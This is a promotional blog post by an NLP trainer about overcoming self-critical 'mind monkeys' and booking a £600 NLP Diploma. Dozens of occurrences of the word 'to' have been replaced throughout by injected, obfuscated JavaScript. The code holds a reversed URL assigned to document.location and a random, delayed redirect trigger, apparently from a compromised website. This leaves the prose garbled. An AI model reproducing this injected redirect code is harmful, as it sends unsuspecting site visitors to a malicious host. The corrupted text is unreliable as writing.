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Those pesky mind monkeys

Mind monkeys can be a real challenge, can’t they. Do you know what I mean by mind monkeys?

  • They chatter away and fill your head with self-doubt, negativity and self-criticism.
  • Saying things like “you’re not good enough” or “who do you think you are tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to do that?” or “you’re not as good as so-and-so”.
  • And they definitely stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}top you from being your best.
  • Slowing you down when you’re trying tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make changes.
  • Holding you back from going for your biggest dreams and goals.

Master your mind. Don’t let it master you.

That’s why it’s so important tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to learn tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to master your mind, rather than let it master you. It happened tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to one of my NLP students recently.

She said “Despite years of success at work, and climbing the corporate ladder, I can hear the mind monkeys at work, trying tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to persuade me that almost anyone else deserves tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to succeed more than I do.”

This is a really common problem. Almost everyone has those inner voices repeating self-limiting beliefs. So what do you do?

So what do you do?

This is what she did, after attending my NLP Diploma.

  • realised that her years of experience made her unique, valuable and worthy of success
  • reminded herself of some of the highs (and lows) in her life, and what she had learned from them
  • rediscovered her reserves of strength and resilience
  • found she that she could tap intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to her self-confidence whenever she needed it
  • made an inventobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory of all her inner resources, and reminded herself (and those pesky mind-monkeys) that she was strong
  • And she realised that she could take control of what the mind monkeys said tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to her.

Silence those mind-monkeys

She had fun with them, and re-programmed them tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to say tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to her:

  • It IS possible
  • I CAN do it
  • I am WORTH it

She said “For the first time I really feel like I’ve beaten my imposter syndrome. I feel like I really have earned the right tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be a leader, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be listened tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, and tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to get my ideas taken seriously. I’ve well and truly silenced those mind-monkeys.”

overcome those mind monkeys bright light nlp

 

Does any of that sound like you?

I’m thinking – YES – because I know that everyone has moments when their mind monkeys seem tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to take charge.

YOU CAN LEARN ALL THIS, AND MUCH MORE on the NLP DIPLOMA

As well as taming your mind-monkeys, you will also learn:

  • How tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to build rapport with everyone you meet
  • A powerful problem-solving process
  • Ways of beating bad habits and replacing them with new effective habits
  • The secret world of micro-expressions and how tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to interpret them
  • How tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to improve your communication
  • Why misunderstandings occur and how you can avoid them in your own communications
  • How tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to harness your own inner strengths and resources so that you have them on tap whenever you need them
  • A set of empowering beliefs tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to replace any limiting self-beliefs that may be holding you back
  • What excellence truly means, and how tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to replicate it
  • and much more …

 

The NLP Diploma is 4 days of life-changing experiences and learning.

And it costs just £600 (£500 plus VAT) tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to attend.

Book your place here.

I’d be interested tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to know what else you’d like tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to hear about.

You can also take my free self-study programme “Five Ways tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Change Your Life For The Better“, which is a short introduction tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to NLP.

 

About Madeleine Allen:  The author is a specialist in Leadership,  Communication and Personal Development for business professionals.  An NLP Trainer and Master Practitioner she conducts in-house corporate training (learn more at www.allentraining.co.uk) and public courses in NLP (learn more at www.brightlightnlp.com)